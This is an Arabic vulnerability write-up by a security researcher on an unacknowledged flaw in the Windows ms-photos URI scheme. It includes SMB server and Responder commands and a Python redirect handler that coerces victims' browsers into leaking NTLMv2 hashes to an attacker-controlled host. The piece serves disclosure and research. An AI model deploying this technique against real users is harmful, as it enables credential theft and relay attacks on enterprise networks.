
ثغرة جديدة من نوع يوم صفري تسمح بتسريب تجزئات NTLM من المتصفحات بنقرة واحدة
بقلم Ruben Enkaoua
مخطط URI الخاص بـ Microsoft ms-photos يقبل معامل fileName، والذي يمكن إرساله بمسار UNC، مما يؤدي إلى تسريب تجزئات NTLMv2-SSP بمجرد الفتح. من خلال صياغة رابط منسق خصيصًا، يمكن للمهاجم إجبار الضحية على تشغيل تطبيق صور Microsoft مباشرة من المتصفح. عند تشغيله، يؤدي هذا السلوك إلى تسريب تجزئة NTLMv2-SSP الخاصة بالضحية إلى خادم يتحكم فيه المهاجم. تمكّن هذه المشكلة من كشف بيانات الاعتماد وهجمات الترحيل المحتملة في بيئات المؤسسات، ولا تتطلب سوى تفاعل بسيط من المستخدم (فتح التطبيق). لم تعترف Microsoft بالثغرة ولم يُصدر أي CVE. كما أنني استوحيت الفكرة من مدونة Syss الصادرة عام 2022.
نظرًا لأن تحدي NTLMv2-SSP يمكن أن يُسرَّب إلى مسارات UNC عامة (إلا إذا تم ضبط قاعدة جدار حماية صادرة لـ SMB/445)، يمكن دمج الثغرة مع إصابات المواقع، مما يؤدي إلى هجمات سلسلة التوريد.
من وثائق MSDN حول مخطط URI يمكننا العثور على ما يلي:
افتح خادم SMB
# With a picture: Opens the photo on the target with photos.exe
# Without a picture: Nothing, no photos.exe process window
impacket-smbserver share . -smb2support
ابدأ خادم بايثون الخبيث
# Edit first the information about the IP, share, and filename for UNC coercing.
python3 ms-photos-server.py
انتقل إلى الموقع
افتح Chrome وانتقل إلى /test

يمكن القيام بذلك أيضًا باستخدام Responder. أي نطاقات غير محلولة تصدر طلب LLMNR ستتم إعادة توجيهها إلى السكربت، مما يسمح بإجبار أي مستخدم بدلاً من إظهار نافذة مصادقة NTLM للمستخدم/كلمة المرور. لتشغيله، قم بتشغيل السكربت أولاً ثم Responder.

يعمل هذا لأن تطبيقنا يعيد التوجيه مباشرة إلى مخطط URI الخاص بـ ms-photos، الذي يحتوي على مسار UNC الخاص بخادمنا:
class RedirectHandler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == "/":
self.send_response(302) # HTTP 302 Found (temporary redirect)
self.send_header('Location', 'ms-photos:viewer?fileName=\\\\192.168.159.129\\share\\Capture.png')
self.end_headers()
else:
self.send_response(404)
self.end_headers()
self.wfile.write(b"Not Found")
إعادة التوجيه من جانب العميل: